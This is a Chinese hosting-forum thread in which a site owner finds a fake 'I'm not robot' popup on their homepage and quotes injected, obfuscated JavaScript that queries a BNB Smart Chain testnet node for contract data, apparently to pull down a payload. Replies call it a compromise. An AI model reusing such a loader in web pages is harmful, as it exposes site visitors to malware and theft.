全球主机交流论坛

标题: 网站多了段代码，请问这是中毒了吗 [打印本页]

作者: shts 时间: 2025-7-25 16:49
标题: 网站多了段代码，请问这是中毒了吗
访问网站主页  莫名其妙多了个I'm not robot 谷歌验证窗口

查看缓存的HTML页面发现多了一段 script  代码

// 发送 POST 请求到 BSC 测试网节点
const _0x15a0e6 = 'https://data-seed-prebsc-1-s1.bnbchain.org:8545/';
const _0x56f770 = await fetch(_0x15a0e6, {
  method: 'POST',
  headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
  },
  body: JSON.stringify({
method: 'eth_call',  // 可能是调用智能合约
params: [{ to: _0x1d555f, data: '0x...' }],
id: 97,
jsonrpc: '2.0'
  })
});

请问这是中毒了吗

作者: whggo 时间: 2025-7-25 17:55
从你描述的情况来看，网站确实被恶意篡改了，这很可能是一种加密货币窃取攻击

作者: hxhx 时间: 2025-7-26 00:03
包的，被人下毒了

作者: tiansh 时间: 2025-7-26 00:08
哈哈，被人当公益用了，反正性能你也用不完，就当做好事了

欢迎光临全球主机交流论坛 (https://ddzzz.eu.org/)